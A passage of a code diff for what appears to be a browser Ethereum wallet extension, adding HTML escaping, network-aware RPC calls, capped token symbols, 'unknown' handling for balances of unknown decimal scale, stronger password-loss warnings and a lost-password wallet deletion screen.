`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
|
||||||
)
|
)
|
||||||
.join("");
|
.join("");
|
||||||
list.querySelectorAll(".common-token").forEach((btn) => {
|
list.querySelectorAll(".common-token").forEach((btn) => {
|
||||||
@@ -49,7 +49,11 @@ function init(ctx) {
|
|||||||
infoEl.style.visibility = "visible";
|
infoEl.style.visibility = "visible";
|
||||||
log.debugf("Looking up token contract", contractAddr);
|
log.debugf("Looking up token contract", contractAddr);
|
||||||
try {
|
try {
|
||||||
const info = await lookupTokenInfo(contractAddr, state.rpcUrl);
|
const info = await lookupTokenInfo(
|
||||||
|
contractAddr,
|
||||||
|
state.rpcUrl,
|
||||||
|
state.networkId,
|
||||||
|
);
|
||||||
log.infof("Adding token", info.symbol, contractAddr);
|
log.infof("Adding token", info.symbol, contractAddr);
|
||||||
state.trackedTokens.push({
|
state.trackedTokens.push({
|
||||||
address: contractAddr,
|
address: contractAddr,
|
||||||
|
|||||||
@@ -42,12 +42,24 @@ let currentMode = "mnemonic";
|
|||||||
|
|
||||||
const MODES = ["mnemonic", "privkey", "xprv"];
|
const MODES = ["mnemonic", "privkey", "xprv"];
|
||||||
|
|
||||||
|
// Each hint names what this import mode's own backup is, because a key
|
||||||
|
// wallet and an xprv wallet have no recovery phrase to point the user at.
|
||||||
|
// All three say the same thing about the password: it is gone for good if
|
||||||
|
// it is forgotten. That sentence is the only warning the user gets before
|
||||||
|
// the wallet exists, and without it the lost-password route in
|
||||||
|
// views/deleteWallet.js is the first they hear of it.
|
||||||
|
//
|
||||||
|
// Keep the three within a couple of characters of each other in length.
|
||||||
|
// The hint sits directly above the password fields and the tabs swap it in
|
||||||
|
// place, so a wording that wraps to a different number of lines would move
|
||||||
|
// those fields under the pointer; the reserved height on
|
||||||
|
// #add-wallet-password-hint is the other half of that guarantee.
|
||||||
const PASSWORD_HINTS = {
|
const PASSWORD_HINTS = {
|
||||||
mnemonic:
|
mnemonic:
|
||||||
"This password encrypts your recovery phrase on this device. You will need it to send funds.",
|
"This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
|
||||||
privkey:
|
privkey:
|
||||||
"This password encrypts your private key on this device. You will need it to send funds.",
|
"This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
|
||||||
xprv: "This password encrypts your key on this device. You will need it to send funds.",
|
xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
|
||||||
};
|
};
|
||||||
|
|
||||||
function switchMode(mode) {
|
function switchMode(mode) {
|
||||||
@@ -167,7 +179,7 @@ async function importMnemonic(ctx) {
|
|||||||
|
|
||||||
// Scan for used HD addresses beyond index 0.
|
// Scan for used HD addresses beyond index 0.
|
||||||
showFlash("Scanning for addresses...", 30000);
|
showFlash("Scanning for addresses...", 30000);
|
||||||
const scan = await scanForAddresses(xpub, state.rpcUrl);
|
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
|
||||||
if (scan.addresses.length > 1) {
|
if (scan.addresses.length > 1) {
|
||||||
wallet.addresses = scan.addresses.map((a) => ({
|
wallet.addresses = scan.addresses.map((a) => ({
|
||||||
address: a.address,
|
address: a.address,
|
||||||
@@ -286,7 +298,7 @@ async function importXprvKey(ctx) {
|
|||||||
|
|
||||||
// Scan for used HD addresses beyond index 0.
|
// Scan for used HD addresses beyond index 0.
|
||||||
showFlash("Scanning for addresses...", 30000);
|
showFlash("Scanning for addresses...", 30000);
|
||||||
const scan = await scanForAddresses(xpub, state.rpcUrl);
|
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
|
||||||
if (scan.addresses.length > 1) {
|
if (scan.addresses.length > 1) {
|
||||||
wallet.addresses = scan.addresses.map((a) => ({
|
wallet.addresses = scan.addresses.map((a) => ({
|
||||||
address: a.address,
|
address: a.address,
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ const {
|
|||||||
addressDotHtml,
|
addressDotHtml,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
escapeHtml,
|
escapeHtml,
|
||||||
|
displaySymbol,
|
||||||
truncateMiddle,
|
truncateMiddle,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
@@ -187,6 +188,7 @@ async function loadTransactions(address) {
|
|||||||
ensNameMap = await resolveEnsNames(
|
ensNameMap = await resolveEnsNames(
|
||||||
counterparties,
|
counterparties,
|
||||||
state.rpcUrl,
|
state.rpcUrl,
|
||||||
|
state.networkId,
|
||||||
);
|
);
|
||||||
} catch {
|
} catch {
|
||||||
ensNameMap = new Map();
|
ensNameMap = new Map();
|
||||||
@@ -221,10 +223,12 @@ function renderTransactions(txs) {
|
|||||||
: tx.from;
|
: tx.from;
|
||||||
const ensName = ensNameMap.get(counterparty) || null;
|
const ensName = ensNameMap.get(counterparty) || null;
|
||||||
const title = addressTitle(counterparty, state.wallets);
|
const title = addressTitle(counterparty, state.wallets);
|
||||||
const dirLabel = tx.directionLabel;
|
// The explorer's method name for a contract call, title-cased.
|
||||||
|
const dirLabel = escapeHtml(tx.directionLabel);
|
||||||
|
const sym = displaySymbol(tx.symbol);
|
||||||
const amountStr = tx.value
|
const amountStr = tx.value
|
||||||
? escapeHtml(tx.value + " " + tx.symbol)
|
? escapeHtml(tx.value + " " + sym)
|
||||||
: escapeHtml(tx.symbol);
|
: escapeHtml(sym);
|
||||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||||
const displayAddr =
|
const displayAddr =
|
||||||
title || ensName || truncateMiddle(counterparty, maxAddr);
|
title || ensName || truncateMiddle(counterparty, maxAddr);
|
||||||
|
|||||||
@@ -9,8 +9,10 @@ const {
|
|||||||
addressDotHtml,
|
addressDotHtml,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
escapeHtml,
|
escapeHtml,
|
||||||
|
displaySymbol,
|
||||||
truncateMiddle,
|
truncateMiddle,
|
||||||
balanceLine,
|
balanceLine,
|
||||||
|
unknownableAmount,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
goBack,
|
goBack,
|
||||||
@@ -117,14 +119,20 @@ function show() {
|
|||||||
addr.tokenBalances,
|
addr.tokenBalances,
|
||||||
state.trackedTokens,
|
state.trackedTokens,
|
||||||
);
|
);
|
||||||
amount = tb ? parseFloat(tb.balance || "0") : 0;
|
// null when the scale is unknown: no quantity to show, and none to
|
||||||
|
// price. balanceLine() states that rather than printing 0.0000.
|
||||||
|
amount = tb ? unknownableAmount(tb.balance) : 0;
|
||||||
price = getPrice(symbol);
|
price = getPrice(symbol);
|
||||||
}
|
}
|
||||||
|
|
||||||
currentSymbol = symbol;
|
currentSymbol = symbol;
|
||||||
|
|
||||||
$("address-token-title").textContent =
|
$("address-token-title").textContent =
|
||||||
wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
|
wallet.name +
|
||||||
|
" \u2014 Address " +
|
||||||
|
(ai + 1) +
|
||||||
|
" \u2014 " +
|
||||||
|
displaySymbol(symbol);
|
||||||
|
|
||||||
// Blockie
|
// Blockie
|
||||||
const blockieEl = $("address-token-jazzicon");
|
const blockieEl = $("address-token-jazzicon");
|
||||||
@@ -147,7 +155,7 @@ function show() {
|
|||||||
attachCopyHandlers($("address-token-line"));
|
attachCopyHandlers($("address-token-line"));
|
||||||
|
|
||||||
// USD total for this token only
|
// USD total for this token only
|
||||||
const usdVal = price ? amount * price : null;
|
const usdVal = price && amount !== null ? amount * price : null;
|
||||||
const usdStr = formatUsd(usdVal);
|
const usdStr = formatUsd(usdVal);
|
||||||
$("address-token-usd-total").innerHTML = usdStr || " ";
|
$("address-token-usd-total").innerHTML = usdStr || " ";
|
||||||
|
|
||||||
@@ -174,7 +182,9 @@ function show() {
|
|||||||
(knownToken && knownToken.symbol) ||
|
(knownToken && knownToken.symbol) ||
|
||||||
null;
|
null;
|
||||||
const tokenName = rawName ? escapeHtml(rawName) : null;
|
const tokenName = rawName ? escapeHtml(rawName) : null;
|
||||||
const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
|
const tokenSymbol = rawSymbol
|
||||||
|
? escapeHtml(displaySymbol(rawSymbol))
|
||||||
|
: null;
|
||||||
const tokenDecimals =
|
const tokenDecimals =
|
||||||
tb && tb.decimals != null
|
tb && tb.decimals != null
|
||||||
? tb.decimals
|
? tb.decimals
|
||||||
@@ -261,6 +271,7 @@ async function loadTransactions(address, tokenId) {
|
|||||||
ensNameMap = await resolveEnsNames(
|
ensNameMap = await resolveEnsNames(
|
||||||
counterparties,
|
counterparties,
|
||||||
state.rpcUrl,
|
state.rpcUrl,
|
||||||
|
state.networkId,
|
||||||
);
|
);
|
||||||
} catch {
|
} catch {
|
||||||
ensNameMap = new Map();
|
ensNameMap = new Map();
|
||||||
@@ -288,10 +299,12 @@ function renderTransactions(txs) {
|
|||||||
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
|
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
|
||||||
const ensName = ensNameMap.get(counterparty) || null;
|
const ensName = ensNameMap.get(counterparty) || null;
|
||||||
const title = addressTitle(counterparty, state.wallets);
|
const title = addressTitle(counterparty, state.wallets);
|
||||||
const dirLabel = tx.directionLabel;
|
// The explorer's method name for a contract call, title-cased.
|
||||||
|
const dirLabel = escapeHtml(tx.directionLabel);
|
||||||
|
const sym = displaySymbol(tx.symbol);
|
||||||
const amountStr = tx.value
|
const amountStr = tx.value
|
||||||
? escapeHtml(tx.value + " " + tx.symbol)
|
? escapeHtml(tx.value + " " + sym)
|
||||||
: escapeHtml(tx.symbol);
|
: escapeHtml(sym);
|
||||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||||
const displayAddr =
|
const displayAddr =
|
||||||
title || ensName || truncateMiddle(counterparty, maxAddr);
|
title || ensName || truncateMiddle(counterparty, maxAddr);
|
||||||
@@ -361,7 +374,7 @@ function init(_ctx) {
|
|||||||
}
|
}
|
||||||
// Hide dropdown, show static token display
|
// Hide dropdown, show static token display
|
||||||
$("send-token").classList.add("hidden");
|
$("send-token").classList.add("hidden");
|
||||||
let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
|
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
|
||||||
if (tokenId !== "ETH") {
|
if (tokenId !== "ETH") {
|
||||||
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
|
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,6 +25,12 @@ const {
|
|||||||
resolveTokenDecimals,
|
resolveTokenDecimals,
|
||||||
unknownDecimalsAmount,
|
unknownDecimalsAmount,
|
||||||
} = require("../../shared/approvalAmount");
|
} = require("../../shared/approvalAmount");
|
||||||
|
// Four decimals, with the nonzero floor these screens hold: every amount this
|
||||||
|
// view renders — the ERC-20 line, the ETH value, the max fee — and every one
|
||||||
|
// it carries forward to the wait/success/error screens goes through it.
|
||||||
|
const {
|
||||||
|
truncateAmountNeverZero: formatTxValue,
|
||||||
|
} = require("../../shared/amountDisplay");
|
||||||
const { decryptWithPassword } = require("../../shared/vault");
|
const { decryptWithPassword } = require("../../shared/vault");
|
||||||
const { getSignerForAddress } = require("../../shared/wallet");
|
const { getSignerForAddress } = require("../../shared/wallet");
|
||||||
const { walletDefect } = require("../../shared/walletDefects");
|
const { walletDefect } = require("../../shared/walletDefects");
|
||||||
@@ -40,13 +46,6 @@ function approvalAddressHtml(address) {
|
|||||||
return renderAddressHtml(address, { title });
|
return renderAddressHtml(address, { title });
|
||||||
}
|
}
|
||||||
|
|
||||||
function formatTxValue(val) {
|
|
||||||
const parts = val.split(".");
|
|
||||||
if (parts.length === 1) return val + ".0000";
|
|
||||||
const dec = (parts[1] + "0000").slice(0, 4);
|
|
||||||
return parts[0] + "." + dec;
|
|
||||||
}
|
|
||||||
|
|
||||||
// The amount line for a decoded ERC-20 call. With a known scale it is the
|
// The amount line for a decoded ERC-20 call. With a known scale it is the
|
||||||
// token quantity; with `decimals` null it is the base-unit integer with the
|
// token quantity; with `decimals` null it is the base-unit integer with the
|
||||||
// unknown scale stated, because formatting it with an assumed scale is what
|
// unknown scale stated, because formatting it with an assumed scale is what
|
||||||
@@ -74,6 +73,14 @@ function tokenLabel(address) {
|
|||||||
function decodeCalldata(data, toAddress) {
|
function decodeCalldata(data, toAddress) {
|
||||||
if (!data || data === "0x" || data.length < 10) return null;
|
if (!data || data === "0x" || data.length < 10) return null;
|
||||||
|
|
||||||
|
// Where a token's scale is looked for, for every decoder below: the ERC-20
|
||||||
|
// amount line and the swap's Amount and Min. received lines resolve it the
|
||||||
|
// same way, and refuse to format the same way when it is nowhere.
|
||||||
|
const decimalsSources = {
|
||||||
|
trackedTokens: state.trackedTokens,
|
||||||
|
wallets: state.wallets,
|
||||||
|
};
|
||||||
|
|
||||||
// Try ERC-20 (approve / transfer)
|
// Try ERC-20 (approve / transfer)
|
||||||
try {
|
try {
|
||||||
const parsed = erc20Iface.parseTransaction({ data });
|
const parsed = erc20Iface.parseTransaction({ data });
|
||||||
@@ -85,10 +92,10 @@ function decodeCalldata(data, toAddress) {
|
|||||||
// the wrong number, and for a token with fewer decimals than the
|
// the wrong number, and for a token with fewer decimals than the
|
||||||
// guess it is the wrong number in the direction that reads as
|
// guess it is the wrong number in the direction that reads as
|
||||||
// zero. See tokenAmountText().
|
// zero. See tokenAmountText().
|
||||||
const tokenDecimals = resolveTokenDecimals(toAddress, {
|
const tokenDecimals = resolveTokenDecimals(
|
||||||
trackedTokens: state.trackedTokens,
|
toAddress,
|
||||||
wallets: state.wallets,
|
decimalsSources,
|
||||||
});
|
);
|
||||||
const contractLabel = tokenSymbol
|
const contractLabel = tokenSymbol
|
||||||
? tokenSymbol + " (" + toAddress + ")"
|
? tokenSymbol + " (" + toAddress + ")"
|
||||||
: toAddress;
|
: toAddress;
|
||||||
@@ -168,7 +175,7 @@ function decodeCalldata(data, toAddress) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Try Uniswap Universal Router
|
// Try Uniswap Universal Router
|
||||||
const routerResult = uniswap.decode(data, toAddress);
|
const routerResult = uniswap.decode(data, toAddress, decimalsSources);
|
||||||
if (routerResult) return routerResult;
|
if (routerResult) return routerResult;
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ const {
|
|||||||
showView,
|
showView,
|
||||||
addressTitle,
|
addressTitle,
|
||||||
escapeHtml,
|
escapeHtml,
|
||||||
|
displaySymbol,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
goBack,
|
goBack,
|
||||||
@@ -57,7 +58,7 @@ function restore() {
|
|||||||
|
|
||||||
function blockieHtml(address) {
|
function blockieHtml(address) {
|
||||||
const src = makeBlockie(address);
|
const src = makeBlockie(address);
|
||||||
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function confirmAddressHtml(address, ensName, title) {
|
function confirmAddressHtml(address, ensName, title) {
|
||||||
@@ -81,7 +82,11 @@ function show(txInfo) {
|
|||||||
feeWei = null;
|
feeWei = null;
|
||||||
|
|
||||||
const isErc20 = txInfo.token !== "ETH";
|
const isErc20 = txInfo.token !== "ETH";
|
||||||
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
// The raw symbol is the price-table key; the capped one is what the
|
||||||
|
// screen says. Truncating before the lookup would silently drop the
|
||||||
|
// price of any token whose symbol is long enough to be capped.
|
||||||
|
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
||||||
|
const symbol = displaySymbol(rawSymbol);
|
||||||
|
|
||||||
// Transaction type
|
// Transaction type
|
||||||
if (isErc20) {
|
if (isErc20) {
|
||||||
@@ -123,7 +128,7 @@ function show(txInfo) {
|
|||||||
|
|
||||||
// Amount (with inline USD)
|
// Amount (with inline USD)
|
||||||
const ethPrice = getPrice("ETH");
|
const ethPrice = getPrice("ETH");
|
||||||
const tokenPrice = getPrice(symbol);
|
const tokenPrice = getPrice(rawSymbol);
|
||||||
const amountNum = parseFloat(txInfo.amount);
|
const amountNum = parseFloat(txInfo.amount);
|
||||||
const price = isErc20 ? tokenPrice : ethPrice;
|
const price = isErc20 ? tokenPrice : ethPrice;
|
||||||
const amountUsd = price ? amountNum * price : null;
|
const amountUsd = price ? amountNum * price : null;
|
||||||
@@ -134,12 +139,17 @@ function show(txInfo) {
|
|||||||
|
|
||||||
// Balance (with inline USD)
|
// Balance (with inline USD)
|
||||||
if (isErc20) {
|
if (isErc20) {
|
||||||
const bal = txInfo.tokenBalance || "0";
|
// null is a balance whose scale nothing knows, not a balance of zero
|
||||||
const balUsd = tokenPrice ? parseFloat(bal) * tokenPrice : null;
|
// (https://git.eeqj.de/sneak/AutistMask/issues/349). The send is
|
||||||
$("confirm-balance").textContent = valueWithUsd(
|
// refused at encode time for the same missing scale; what this line
|
||||||
bal + " " + symbol,
|
// must not do is state a quantity nobody established.
|
||||||
balUsd,
|
const bal = txInfo.tokenBalance;
|
||||||
);
|
const balUsd =
|
||||||
|
tokenPrice && bal != null ? parseFloat(bal) * tokenPrice : null;
|
||||||
|
$("confirm-balance").textContent =
|
||||||
|
bal == null
|
||||||
|
? "unknown (" + symbol + ")"
|
||||||
|
: valueWithUsd(bal + " " + symbol, balUsd);
|
||||||
} else {
|
} else {
|
||||||
const bal = txInfo.balance || "0";
|
const bal = txInfo.balance || "0";
|
||||||
const balUsd = ethPrice ? parseFloat(bal) * ethPrice : null;
|
const balUsd = ethPrice ? parseFloat(bal) * ethPrice : null;
|
||||||
@@ -156,7 +166,12 @@ function show(txInfo) {
|
|||||||
warningsEl.innerHTML = localWarnings
|
warningsEl.innerHTML = localWarnings
|
||||||
.map(
|
.map(
|
||||||
(w) =>
|
(w) =>
|
||||||
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
|
// Only the three hardcoded strings in
|
||||||
|
// src/shared/addressWarnings.js reach this today, but
|
||||||
|
// src/shared/etherscanLabels.js already builds a
|
||||||
|
// `warning` out of scraped explorer markup, so this is
|
||||||
|
// one wiring change away from carrying remote text.
|
||||||
|
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
|
||||||
)
|
)
|
||||||
.join("");
|
.join("");
|
||||||
warningsEl.style.visibility = "visible";
|
warningsEl.style.visibility = "visible";
|
||||||
@@ -206,7 +221,7 @@ function show(txInfo) {
|
|||||||
// touches already occupies its space, so re-running it never moves anything.
|
// touches already occupies its space, so re-running it never moves anything.
|
||||||
function renderValidation(txInfo) {
|
function renderValidation(txInfo) {
|
||||||
const isErc20 = txInfo.token !== "ETH";
|
const isErc20 = txInfo.token !== "ETH";
|
||||||
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
|
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
|
||||||
|
|
||||||
const { canSend, codes } = validateTransfer({
|
const { canSend, codes } = validateTransfer({
|
||||||
isErc20,
|
isErc20,
|
||||||
@@ -225,17 +240,22 @@ function renderValidation(txInfo) {
|
|||||||
}
|
}
|
||||||
if (codes.includes(CODES.INSUFFICIENT_TOKEN)) {
|
if (codes.includes(CODES.INSUFFICIENT_TOKEN)) {
|
||||||
messages.push(
|
messages.push(
|
||||||
"Insufficient " +
|
txInfo.tokenBalance == null
|
||||||
symbol +
|
? "This token's balance is unknown, because nothing this" +
|
||||||
" balance. You have " +
|
" wallet can consult reports how many decimal places it" +
|
||||||
txInfo.tokenBalance +
|
" uses, so the amount you are trying to send cannot be" +
|
||||||
" " +
|
" checked against it."
|
||||||
symbol +
|
: "Insufficient " +
|
||||||
" but are trying to send " +
|
symbol +
|
||||||
txInfo.amount +
|
" balance. You have " +
|
||||||
" " +
|
txInfo.tokenBalance +
|
||||||
symbol +
|
" " +
|
||||||
".",
|
symbol +
|
||||||
|
" but are trying to send " +
|
||||||
|
txInfo.amount +
|
||||||
|
" " +
|
||||||
|
symbol +
|
||||||
|
".",
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (codes.includes(CODES.INSUFFICIENT_ETH)) {
|
if (codes.includes(CODES.INSUFFICIENT_ETH)) {
|
||||||
@@ -294,7 +314,7 @@ function formatFeeEth(wei) {
|
|||||||
|
|
||||||
async function estimateGas(txInfo) {
|
async function estimateGas(txInfo) {
|
||||||
try {
|
try {
|
||||||
const provider = getProvider(state.rpcUrl);
|
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||||
const feeData = await provider.getFeeData();
|
const feeData = await provider.getFeeData();
|
||||||
let gasLimit;
|
let gasLimit;
|
||||||
|
|
||||||
@@ -376,7 +396,7 @@ async function estimateGas(txInfo) {
|
|||||||
|
|
||||||
async function checkRecipientHistory(txInfo) {
|
async function checkRecipientHistory(txInfo) {
|
||||||
try {
|
try {
|
||||||
const provider = getProvider(state.rpcUrl);
|
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||||
const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
|
const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
|
||||||
fromAddress: txInfo.from,
|
fromAddress: txInfo.from,
|
||||||
});
|
});
|
||||||
@@ -444,7 +464,7 @@ function init(_ctx) {
|
|||||||
state.selectedAddress,
|
state.selectedAddress,
|
||||||
decryptedSecret,
|
decryptedSecret,
|
||||||
);
|
);
|
||||||
const provider = getProvider(state.rpcUrl);
|
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||||
const connectedSigner = signer.connect(provider);
|
const connectedSigner = signer.connect(provider);
|
||||||
|
|
||||||
if (pendingTx.token === "ETH") {
|
if (pendingTx.token === "ETH") {
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ const {
|
|||||||
$,
|
$,
|
||||||
showView,
|
showView,
|
||||||
showFlash,
|
showFlash,
|
||||||
|
escapeHtml,
|
||||||
goBack,
|
goBack,
|
||||||
renderAddressHtml,
|
renderAddressHtml,
|
||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
@@ -44,8 +45,8 @@ function setFlash(msg) {
|
|||||||
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
|
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
|
||||||
// re-importing this wallet's key material is refused as a duplicate by
|
// re-importing this wallet's key material is refused as a duplicate by
|
||||||
// findWalletByXpub() for as long as the wallet is here. What remains is to
|
// findWalletByXpub() for as long as the wallet is here. What remains is to
|
||||||
// delete the whole wallet in Settings — which asks for the password and
|
// delete the whole wallet in Settings — which destroys the stored secret,
|
||||||
// destroys the stored secret — and import again, after which
|
// with or without the password — and import again, after which
|
||||||
// scanForAddresses() rediscovers the address only if it has on-chain
|
// scanForAddresses() rediscovers the address only if it has on-chain
|
||||||
// activity. An address that was never used is not found by that scan, and
|
// activity. An address that was never used is not found by that scan, and
|
||||||
// the copy must not imply otherwise.
|
// the copy must not imply otherwise.
|
||||||
@@ -62,8 +63,7 @@ function recoveryPathText(wallet) {
|
|||||||
"importing this " +
|
"importing this " +
|
||||||
secret +
|
secret +
|
||||||
" again is refused while this wallet is still here. The way back is " +
|
" again is refused while this wallet is still here. The way back is " +
|
||||||
"to delete the whole wallet in Settings, which asks for your " +
|
"to delete the whole wallet in Settings, which destroys the stored " +
|
||||||
"password and destroys the stored " +
|
|
||||||
secret +
|
secret +
|
||||||
", and then import that " +
|
", and then import that " +
|
||||||
secret +
|
secret +
|
||||||
@@ -92,7 +92,7 @@ function balanceWarningHtml(addr) {
|
|||||||
if (!addressHoldsFunds(addr)) return " ";
|
if (!addressHoldsFunds(addr)) return " ";
|
||||||
const line = formatAddressTotal(getAddressValue(addr));
|
const line = formatAddressTotal(getAddressValue(addr));
|
||||||
const total = line
|
const total = line
|
||||||
? `<div class="text-xs text-muted mt-1">${line}</div>`
|
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
|
||||||
: "";
|
: "";
|
||||||
return (
|
return (
|
||||||
`<p class="mb-1">This address holds a balance. Removing it does not ` +
|
`<p class="mb-1">This address holds a balance. Removing it does not ` +
|
||||||
|
|||||||
@@ -14,8 +14,29 @@ const {
|
|||||||
} = require("../../shared/walletDelete");
|
} = require("../../shared/walletDelete");
|
||||||
|
|
||||||
let deleteWalletIndex = null;
|
let deleteWalletIndex = null;
|
||||||
|
let lostPasswordIndex = null;
|
||||||
let ctx = null;
|
let ctx = null;
|
||||||
|
|
||||||
|
// The name shown for a wallet, and on the lost-password screen the string
|
||||||
|
// the user has to type back. One function so the two cannot disagree: a
|
||||||
|
// confirmation that asks for a name other than the one on screen is
|
||||||
|
// unusable.
|
||||||
|
function displayName(walletIdx) {
|
||||||
|
const wallet = state.wallets[walletIdx];
|
||||||
|
return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// What the typed confirmation and the wallet name are compared as. HTML
|
||||||
|
// collapses runs of whitespace when it renders the name, so a wallet named
|
||||||
|
// "My Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
|
||||||
|
// see the second space and cannot type a string that matches the stored
|
||||||
|
// name. Comparing collapsed on both sides is what keeps the confirmation
|
||||||
|
// satisfiable, on the one screen whose whole purpose is unwedging a user
|
||||||
|
// who is already stuck. Case and surrounding space go the same way.
|
||||||
|
function confirmKey(name) {
|
||||||
|
return name.trim().replace(/\s+/g, " ").toLowerCase();
|
||||||
|
}
|
||||||
|
|
||||||
// Drop the password from the DOM and the wallet selection from the
|
// Drop the password from the DOM and the wallet selection from the
|
||||||
// closure. Registered as the view-leave handler as well as run on entry,
|
// closure. Registered as the view-leave handler as well as run on entry,
|
||||||
// so the typed password does not sit in the hidden view after the user
|
// so the typed password does not sit in the hidden view after the user
|
||||||
@@ -27,19 +48,89 @@ function clear() {
|
|||||||
$("delete-wallet-flash").style.visibility = "hidden";
|
$("delete-wallet-flash").style.visibility = "hidden";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The lost-password screen holds no secret — a wallet name is not one —
|
||||||
|
// but it is wiped on leave for the neighbouring reason: a typed
|
||||||
|
// confirmation left standing in a hidden view is one click away from
|
||||||
|
// destroying a wallet the user has since navigated off. The button is
|
||||||
|
// re-enabled here too, so a screen left mid-delete is usable on re-entry.
|
||||||
|
function clearLostPassword() {
|
||||||
|
lostPasswordIndex = null;
|
||||||
|
$("delete-wallet-lost-name-input").value = "";
|
||||||
|
$("delete-wallet-lost-flash").textContent = "";
|
||||||
|
$("delete-wallet-lost-flash").style.visibility = "hidden";
|
||||||
|
const btn = $("btn-delete-wallet-lost-confirm");
|
||||||
|
btn.disabled = false;
|
||||||
|
btn.classList.remove("text-muted");
|
||||||
|
}
|
||||||
|
|
||||||
function show(walletIdx) {
|
function show(walletIdx) {
|
||||||
clear();
|
clear();
|
||||||
deleteWalletIndex = walletIdx;
|
deleteWalletIndex = walletIdx;
|
||||||
const wallet = state.wallets[walletIdx];
|
$("delete-wallet-name").textContent = displayName(walletIdx);
|
||||||
$("delete-wallet-name").textContent =
|
|
||||||
wallet.name || "Wallet " + (walletIdx + 1);
|
|
||||||
showView("delete-wallet-confirm");
|
showView("delete-wallet-confirm");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// The two delete screens are siblings, not parent and child: nothing is
|
||||||
|
// pushed on the way here, and Back goes to show() rather than goBack().
|
||||||
|
// Both then have the same Back target — Settings, the screen that pushed
|
||||||
|
// delete-wallet-confirm — and re-entering through show() hands the confirm
|
||||||
|
// screen its wallet selection back, which a bare goBack() onto a view
|
||||||
|
// whose leave hook has already nulled that selection would not.
|
||||||
|
function showLostPassword() {
|
||||||
|
const walletIdx = deleteWalletIndex;
|
||||||
|
if (walletIdx === null) {
|
||||||
|
goBack();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const name = displayName(walletIdx);
|
||||||
|
clearLostPassword();
|
||||||
|
$("delete-wallet-lost-name").textContent = name;
|
||||||
|
$("delete-wallet-lost-name-echo").textContent = name;
|
||||||
|
// showView() runs the leave hook of delete-wallet-confirm, which nulls
|
||||||
|
// deleteWalletIndex, so this screen's own selection is recorded after
|
||||||
|
// it and not before.
|
||||||
|
showView("delete-wallet-lost-password");
|
||||||
|
lostPasswordIndex = walletIdx;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove the wallet and put the user somewhere sensible. Shared by both
|
||||||
|
// routes onto this screen, so the selection repair, the site-permission
|
||||||
|
// cleanup and the accountsChanged broadcast cannot drift apart between
|
||||||
|
// them.
|
||||||
|
async function finishDelete(walletIdx) {
|
||||||
|
const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
|
||||||
|
|
||||||
|
deleteWalletIndex = null;
|
||||||
|
lostPasswordIndex = null;
|
||||||
|
|
||||||
|
